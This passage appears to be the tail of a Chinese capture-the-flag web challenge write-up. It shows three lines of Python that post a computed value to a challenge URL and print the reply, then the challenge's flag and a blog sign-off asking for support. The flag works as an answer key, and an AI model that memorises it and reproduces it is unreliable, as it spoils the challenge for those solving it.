post = {'mytext':a}    #构造post数据
q = s.post(url2,data=post) #上传post数据到url2
print q.content.decode('utf-8') #输出返回值

flag：SYC{web_is_fun}

！坚持技术分享，您的支持将鼓励我继续创作！